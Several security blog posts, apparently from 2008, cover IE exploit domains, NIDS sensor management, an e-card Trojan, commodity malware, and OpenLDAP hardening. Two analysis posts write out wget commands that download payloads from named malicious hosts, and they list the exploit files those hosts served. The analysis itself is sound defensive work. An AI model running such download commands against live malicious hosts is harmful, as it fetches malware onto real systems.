IE exploits on the move

It looks like the previously mentioned exploits for the latest IE vulnerability, and more, have moved to an additional domain. Everyone is probably seeing SQL injection attempts with obfuscated code similar to before, except now the referenced domain is mcuve.cn. As far as I can see, the site is hosting the same code that was hosted on the 17gamo site. A quick Google shows that a few sites have already been hit (and at least one other person has already blogged it).

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Answers to NIDS management

C.S. Lee had a post called NIDS: Administration, Management & Provisioning that asked some good questions about managing large numbers of NSM sensors. I have managed large numbers of sensors in the past, so thought I would take a shot at describing some of the ways I eased management as well as other methods I still look forward to trying. Since my post is long, I thought it better to write it here than stuff it all into a comment on geek00l's blog.

A couple of things to remember; first, there are almost always ways to improve complex systems management. Second, "perfect" is the enemy of "good enough". At some point you reach the point of diminishing returns, so the cost of additional improvement of the management or administration of the systems may not be worth the reward.

1. What tools do you use to manage all the NIDS, and why you choose them over others?
- For example ssh, however I would like to know more about tools you use to manage massive NIDS instead of one, and the reason you choose it.

SSH is obviously going to be one way to login to systems and do certain things. If it is something that you must do consistently, then scripts or other system management methods that I will discuss later are likely more appropriate. When using SSH for a large number of systems, don't forget that SSH keys and ssh-agent are your friend. With ssh-agent, you can login to all your systems with your SSH key after entering your passphrase only once. This simplifies running scripts that require logging into or copying files to each system.

Also, when I talk about using SSH along with scripts, I'm also talking about using programs that support SSH as the transport protocol, for example rsync and rdist. Expect scripts are also a common way to roll your own centralized management of systems, but for C.S. Lee's 50+ system question, a dedicated application seems to be a better answer than only using scripts and logging in manually.

2. How do you perform efficient administration securely? For examples,
- System changes/updates
- NIDS tools' changes/updates
- NIDS rules' changes/updates
- NIDS Configuration files' changes/updates
- NIDS Policies' changes/updates

I think these types of changes and updates will require a combination of tools, and the tools could depend in part on the operating system(s). If you have multiple operating systems then it also makes the management more complex, so ideally you want to standardize on an operating system as well as keeping the release versions identical whenever possible.

One thing I've mentioned in the past for system management is puppet.

Puppet lets you centrally manage every important aspect of your system using a cross-platform specification language that manages all the separate elements normally aggregated in different files, like users, cron jobs, and hosts, along with obviously discrete elements like packages, services, and files.

Although I haven't yet had the chance to use puppet, it seems to have a good reputation. Another option is cfengine, though most people I have talked to that have experience with both seem to prefer puppet. Change management of configuration files, cron scripts, and other files like NIDS rules can definitely be handled by one of these central management tools.

Another thing to consider is whether your operating system or its vendor includes anything for these tasks. For instance, Red Hat Network Satellite can handle a lot of centralized management, including package management. NIDS/NSM sensors often need configuration changes from the standard distribution package for certain software, so being able to roll your own packages and push them to sensors automatically can drastically reduce system management overhead.

Although puppet seems to handle users, I've also written three posts about OpenLDAP for centralized management of users and groups [1, 2, 3]. With most current Linux or BSD, once LDAP is configured it is pretty easy to manage users, groups, and even sudo. Since I've worked in environments with not just large numbers of Linux systems, but also large numbers of users, LDAP was definitely useful. With a small number of users on large number of systems, I'm not sure that it would be needed.

For the security requirement, any good centralized management system better have some sort of authentication and encryption. Puppet supports a CA and SSL, cfengine supports RSA and Blowfish along with public-private keys, and Red Hat Satellite suports SSL and GPG. Other basics including host-based firewalls like iptables can also be useful for limiting exposure and access from the network.

Truthfully, I have mostly relied on home-grown scripts combined with SSH, rsync and/or rdist to push files or commands to Linux systems. However, with the number of systems I have managed, the up-front cost of implementing something like puppet, cfengine, or Satellite would be worth the long-term benefits.

3. Which method you like to use in order to manage them, and why? For example,
- Server pushes rules update to all the sensors(Push)
- Sensors pull the rules update from server(Pull)

I think this question is largely moot because it will usually be determined by the management tools you are using. For instance, Red Hat runs a daemon on the individual systems that will check in either with Red Hat Network or with your local Satellite Network.

When using scripts, I will usually use a push simply because I like to login to one system then run the script that will connect to all the other systems to copy files or run a command.

3. NIDS health monitoring and self-healing
- I'm talking about something like this, if the system is in incosistent state, operators will be notified. If certain process die, it should recover by itself.

The obvious answer to monitoring processes is something like Nagios, an open source solution. Nagios can also handle restarting services or processes through event handlers. Realistically, any software that monitors services should have the ability to restart those services if needed. Another example of process monitoring and restarting is daemontools, but it does not really meet monitoring needs for an enterprise and is fairly limited. There are additional choices of monitoring software, as well.

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IE vulnerability just one of many

The latest IE "0day" is making big news. The bulletin now includes IE6, IE7, and IE8 beta. Looking at CVE-2008-4844 will give a decent round-up of related links. Shadowserver has a list of domains known to be using exploits that attack this vulnerability. Microsoft has some workarounds to help mitigate the vulnerability.

One thing to remember is that many malicious sites do not rely on one vulnerability. Don't let one high-profile vulnerability and news of exploits in the wild make you forget about the big picture. If a site is hosting exploits against this IE vulnerability, it is very likely the site will be hosting additional exploits.

One example is one of the highest profile domains hosting exploits, 17gamo[dot]com. The SQL attacks referenced on SANS are injecting a URI containing this malicious domain. As mentioned on SANS diary, the javascript in the injected URI leads to additional files on the malicious site. Although the SANS diary specifically mentions the IE exploit, it doesn't mention the other exploits.

Please remember the following site is malicious!

$ wget -r http://www.17gamo.com/co

After downloading the content, I change to the correct directory and see what is there:

$ ls co/
14.htm     flash.htm  ihhh.html   nct.htm     real.htm   swfobject.js
fhhh.html  ie7.htm    index.html  office.htm  real.html

The index file tries to open iframes containing 14.htm, flash.htm, ie7.htm, nct.htm, office.htm, real.htm and real.html. The flash.htm file then references ihhh.html and fhhh.html. We already know from the SANS diary what ie7.htm does.

It was nice of the file authors to use relevant names for some of the files. The flash.htm code references both ihhh.html and fhhh.html. Both these files look like they will serve up a Flash exploit of varying names depending what version of the Flash Player is detected. Downloading a couple of the SWF files, they are the same size but diff shows that they are not identical. They all seem to produce similar results on Virustotal.

The office.htm file appears to be an exploit targeting CVE-2008-2463, a MS Office Snapshot Viewer ActiveX vulnerability. If vulnerable, this will lead to the download of the same win.exe mentioned in the SANS diary and it looks like it will attempt to write the executable to the 'Startup' folder for All Users.

I haven't looked at real.htm, real.html, nct.htm or 14.htm yet.

This is all just to point out that most malicious sites these days will run a number of attacks against web clients, so just because one failed doesn't mean the others did the same. I saw a system get hit by the ie7.htm exploit without immediately downloading the win.exe from steoo[dot]com, yet it did run one of the malicious SWF files.

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ArsTechnica Ovatio Awards posted

ArsTechnica has some year-end awards, the Ovatio Awards, online. With any type of awards like this, there will be plenty of arguments about what is missed and what should not be on the list.

I find it interesting that none of the Year's Biggest Stories section includes anything directly related to security. If I was making a list (maybe I will?), I can think of a number of important stories related to security that had or will continue to have a huge impact. They did choose "cloud computing" as Buzzword of the Year, which I think is a good choice and is definitely a big topic on security blogs recently.

I can't say I understand the choice of PlayStation 3 as Product of the Year, but I haven't been a serious gamer for years, which may explain why I own a Wii. In addition to being launched more than two years ago, the PS3 doesn't seem particularly innovative and the price makes it a tough buy for a lot of people. Still, ArsTechnica is fairly focused on gaming so it may make some amount of sense. It will definitely get a lot of page views and some comments in their forum!

The Hardware Trend of the Year, netbooks, is definitely a good pick. Really, it seems like this is something customers have wanted for years and companies just didn't realize that there would be a big market even where traditional laptop sales were strong. I know that my laptop philosophy has light weight higher on my priorities list than performance. I don't mind a laptop as a desktop replacement around the house, but I sure don't want to travel with it if I have a lighter option.

The pick of OpenSUSE as a Linux Distro of the Year surprises me, but that may just show that I haven't used it in years. It may not have been part of their criteria, but if I had to pick a distribution with the most community and end-user impact, I would definitely have to say Ubuntu. There is no other distribution besides possibly Red Hat that has had as much name recognition among my non-technical friends and acquaintances. My 91-year-old neighbor even tried running Ubuntu on a live CD for a while because he was thinking of ditching Windows.

I enjoy reading year-end articles like the one posted at ArsTechnica because it gets me thinking about the topics I thought were important or significant over the past year.

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Commodity malware versus custom exploits

In my post about e-card Trojans, I mentioned that I hoped to flesh out my thoughts on malware as compared to more customized exploits. As we all should know from numerous stories, commodity malware is big business. Malware is increasingly used to steal information to turn a profit, and is likely being used to target information that is valuable in other ways. So my question is, in a world where the U.S. military has to ban USB drives to combat malware, how much trouble are customized private exploits actually worth?

There are certainly advantages to customized private exploits, but when a spammer only needs one response for every 12.5 million emails sent to be profitable, it seems that the economics of the situation may favor the lower cost of slightly modifying malware to bypass anti-virus software and then blasting away with malicious emails, advertisements, and other links.

A customized exploit that is only being used by a small number of people should obviously be more difficult to detect. However, when anti-virus and traditional IDS rely so thoroughly on signatures of known activity, the question is really about how difficult the attacker needs detection to be. In many cases, it may not be worth using a skilled attacker to craft a specific exploit when said attacker could be increasing the efficiency of more voluminous attacks.

Of course, this is not really an 'either' 'or' situation. Both types of attacks can effectively be used, and when combined they are probably both more effective. Sow mass confusion and panic with widespread malware attacks while performing more targeted attacks for particularly desirable information. Those playing defense will likely be busy scurrying after the malware while the targeted attacks fly in under the radar, especially in these economic times where security operations may be suffering from budget cuts.

I also don't mean to downplay the skill it takes to enumerate network services and write a custom exploit for one or more of those services on the spot. Relatively few people can do that, I am certainly not one of them, and in many cases it is virtually undetectable. At the same time, I often feel that those talented exploit writers and penetration testers give too little credit to the effectiveness of common malware. It seems to me that commodity malware has become quite effective at generating revenue and stealing information.

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'Tis the season for E-card Trojans

IP addresses and hostnames have been changed. Anyway, this is from a few days ago and it looks like the malware is no longer on the server. A user received an email with a link to a supposed holiday card...

Src IP:         10.1.1.18       (Unknown)
Dst IP:         192.168.31.250  (Unknown)
Src Port:               1461
Dst Port:               80
OS Fingerprint: 10.1.1.18:1461 - Windows XP SP1+, 2000 SP3 (2)
OS Fingerprint:   -> 192.168.31.250:80 (distance 7, link: ethernet/modem)

SRC: GET /ecard.exe HTTP/1.0
SRC: Accept: */*
SRC: Accept-Language: en-us
SRC: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.
1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
SRC: Host: fakeurl.info
SRC: Connection: Keep-Alive
SRC:
SRC:
DST: HTTP/1.1 200 OK
DST: Date: Wed, 12 Nov 2008 11:41:08 GMT
DST: Server: Apache/1.3.36 (Unix) mod_jk/1.2.14 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_b
wlimited/1.4 PHP/4.3.9 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.27 OpenSSL/0.9.7a
DST: Last-Modified: Wed, 12 Nov 2008 10:14:10 GMT
DST: ETag: "944cd-8688-491aac72"
DST: Accept-Ranges: bytes
DST: Content-Length: 34440
DST: Content-Type: application/octet-stream
DST: Connection: Keep-Alive
DST:
DST:
DST: MZ..............@.......@........L.!........................@...PE..L...UB.I...............
..........p................@.......................... .........................................
................................................................................................
.............................UPX0.....p..............................UPX1.......................
.........@...UPX2................................@..............................................
3.03.UPX!

The above is part of a Sguil transcript. I downloaded the file, took a brief look, then submitted it to VirusTotal.

$ cd malware
$ wget http://fakeurl.info/ecard.exe
---snip---
$ strings -n 3 -a ecard.exe | less
UPX0
UPX1
UPX2
3.03
UPX!
---snip---
XPTPSW
KERNEL32.DLL
LoadLibraryA
GetProcAddress
VirtualProtect
VirtualAlloc
VirtualFree
ExitProcess

This is pretty run-of-the-mill malware that will get detected by Emerging Threats SID 2006434 when the executable is downloaded, but I guess people still fall for it. As Shirkdog so eloquently stated:

Do not click on unsolicited URLs, including those received in email, instant messages, web forums, or internet relay chat (IRC) channels.

People will never get it through their skulls that they SHOULD NOT click links. It is the reason we are all employed, because the user will always be there.

It's always amazing how few anti-virus engines will catch known malware. A system compromised this way also brings to my mind a comparison between common malware and novel or custom exploits that are not widely available. I plan to flesh out thoughts comparing the two at a later date.

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OpenLDAP Security

Since I have been doing a lot of system administration blogging lately and not much on security, I decided I should post something related to security even if it is still in reference to system configuration and administration. Despite being years old, many of the pages I found about LDAP and security were still pertinent, for example Security with LDAP. The OpenLDAP documentation has a whole section titled Security Considerations in addition to other sections throughout that address security.

The TLDR version of this post is that some of the defaults for OpenLDAP may not be secure, it is easy to make other configuration mistakes, and you should make sure to examine configurations, permissions, ACLs, and schemas with security in mind. Different distributions can have different defaults. If you are using LDAP for account information in particular, you need to be careful.

I will go over some specifics that I noticed, but I certainly won't cover everything. OpenLDAP can be configured to get a similar level of protection for account information compared to the standard Unix/Linux shadow files and actually makes some security-related tasks easier for an administrator, such as disabling accounts or enforcing password policies.

Encryption of Data and Authentication

The first and most obvious problem is that the default OpenLDAP configuration does not encrypt network activity. Whether you're using LDAP for account information or not, it is very likely that most people will not want their LDAP traffic going over the network unencrypted. OpenLDAP has support for TLS that makes it relatively easy to implement. Also important to note is that, though network activity is not protected by default, the minimum recommended authentication mechanism is SASL DIGEST-MD5.

The DIGEST-MD5 mechanism is the mandatory-to-implement authentication mechanism for LDAPv3. Though DIGEST-MD5 is not a strong authentication mechanism in comparison with trusted third party authentication systems (such as Kerberos or public key systems), it does offer significant protections against a number of attacks.

Another option, Kerberos, is also "highly recommended" for strong authentication services.

Passwords

When using OpenLDAP with nss_ldap and centralized accounts, if you're storing passwords in LDAP they should be stored as hashes, not plain text. This seems obvious, but it's important to understand how to generate the hashes with the 'slappasswd' command and then use 'ldapadd', 'ldapmodify' or a GUI LDAP management tool to put the hashes into LDAP. This is done when creating or altering accounts. The 'passwd' command will hash passwords automatically when users change their own passwords.

Different distributions have different default ACLs, but RHEL for example allows anonymous reads of LDAP by default and allows authenticated users read access to everything in another sample ACL included in the openldap-servers package. If you're going to store account information and passwords with LDAP, the access controls need to be changed to prevent both anonymous and authenticated users from viewing password hashes. As we all should know, all it takes to crack a password hash is an appropriate tool and processing time. Depending on the attacker's computing power, the password hashing algorithm and the actual password, cracking passwords can be extremely fast or very slow.

OpenLDAP supports a number of hashing algorithms and the default is to use {SSHA}, which is SHA-1 with a seed.

-h scheme

If -h is specified, one of the following RFC 2307 schemes may be specified: {CRYPT}, {MD5}, {SMD5}, {SSHA}, and {SHA}. The default is {SSHA}.

Note that scheme names may need to be protected, due to { and }, from expansion by the user's command interpreter.

{SHA} and {SSHA} use the SHA-1 algorithm (FIPS 160-1), the latter with a seed.

{MD5} and {SMD5} use the MD5 algorithm (RFC 1321), the latter with a seed.

{CRYPT} uses the crypt(3).

{CLEARTEXT} indicates that the new password should be added to userPassword as clear text.

This is fine when setting initial passwords, but you should note that the 'passwd' command on Linux systems will generally use MD5 or the 'crypt' function instead of SHA1, depending on system configuration.

ACL Problems

There can also be problems related to Access Control Lists for slapd. Red Hat's default configuration allows anonymous reads. Ubuntu's slapd.conf seems to have a much more secure default ACL. Below is RHEL5's default, which allows anonymous reads, user reads, but only the rootdn to write.

access to * by * read

The following is a sample configuration that is also included in the default slapd.conf on RHEL5, though it is commented out in favor of the above ACL. The danger with the following is that users still can read everything as well as write their own entries.

access to *
  by self write
  by users read
  by anonymous auth

Allowing users 'self write' to change their own entries is obviously a big problem if you're using LDAP for account information. Any user can change his own uidNumber or gidNumber to become uid 0, gid 0, gid 10 (wheel), etc. Not good!

To authenticate with nss_ldap, OpenLDAP must allow some sort of read access. Without anonymous reads, users can't authenticate unless there is a proxy user with read access. The proxy user's binddn and password must be in /etc/ldap.conf and /etc/openldap/ldap.conf in plain text and the files are world readable. This is somewhat mitigated because the ldap.conf files can only be accessed by authenticated users logged into the system, so if an attacker already gained access to the system the proxyuser password is a fairly trivial concern in the big scheme of things.

Another file with a plain text password is /etc/ldap.secret. This file must contain the rootdn password in plain text, but is again somewhat mitigated with file permissions. The permissions for the file must be set to 600 so only root can read the file, so the obvious way an attacker will get the rootdn password from the file is if he already has root privileges on that particular system. However, with the rootdn password the attacker could wreak havoc on all the LDAP entries, including all the account information stored in LDAP.

To prevent users from viewing the password hashes of others, two things are required. First, change the ACL in slapd.conf. Something like this would allow users to change their own passwords, but not any other attributes and not view other users' hashes. You can hide additional attributes from authenticated users if needed.

access to attrs=userpassword
  by anonymous auth
  by self write
  by * none

access to *
  by self read
  by users read
  by anonymous auth

Another important thing to do is put users in the objectclass 'shadowAccount', which is in the NIS schema along with the objectclass 'posixAccount' that stores most account information. This will prevent password hashes from displaying when using 'getent passwd'. This is similar to shadow passwords on the local system, which move the password hashes from the world-readable /etc/passwd to /etc/shadow, which is only readable by root. The 'getent' commands will fetch both local and LDAP information.

Password Policy Overlay

The password policy overlay for OpenLDAP allows password policies to be enforced on OpenLDAP accounts. Quoting from the documentation:

The key abilities of the password policy overlay are as follows:

• Enforce a minimum length for new passwords
• Make sure passwords are not changed too frequently
• Cause passwords to expire, provide warnings before they need to be changed, and allow a fixed number of 'grace' logins to allow them to be changed after they have expired
• Maintain a history of passwords to prevent password re-use
• Prevent password guessing by locking a password for a specified period of time after repeated authentication failures
• Force a password to be changed at the next authentication
• Set an administrative lock on an account
• Support multiple password policies on a default or a per-object basis.
• Perform arbitrary quality checks using an external loadable module. This is a non-standard extension of the draft RFC.

Particularly for people that have specific company requirements for password policies, this overlay will do just about everything except complexity checking. For complexity checking, it's fairly easy to enable and configure pam_cracklib on each client. As far as I know, since only the hash crosses the wire when authenticating or changing passwords, it is not possible to centrally enforce complexity requirements.

Personally, for password expiration I prefer not to allow any grace logins, thereby enforcing a lockout if the password expires. As long as the policy is set to provide ample warning, this shouldn't cause problems. Consider if you allow some number of 'grace' logins after the password expires and for some reason a user does not login for an extended period of time. The account could conceivably remain active for as long as it takes to brute force the password rather than being disabled once the password expires.

Another password policy overlay feature is temporary lockouts after failed authentication. For instance, you could set a lockout after x login attempts in y seconds. The lockout can be z seconds. I don't know what the maximum number of seconds the overlay or OpenLDAP will accept, but it can definitely be zero up to months in seconds if needed for some fields like pwdMaxAge.

When enabing 'pwdReset' to require an immediate password change, I eventually found that the following line must be uncommented in slapd.conf.

pam_lookup_policy yes

After doing this, you can set 'pwdReset: TRUE' when generating temporary passwords, then the user will be required to change passwords immediately when logging in.

From my testing, the password policy overlay is definitely superior to the shadow password options within the nis.schema that comes with OpenLDAP. The biggest problem with the password policy overlay is that some distributions may not include it in the distribution's package for the OpenLDAP server, requiring compiling with support for the overlay instead of a standard OpenLDAP package from your distribution of choice.

Post Script

I have two previous posts about OpenLDAP. I would love to get any comments on what could be added or any mistakes that could be corrected.

Setting up OpenLDAP for centralized accounts
OpenLDAP continued

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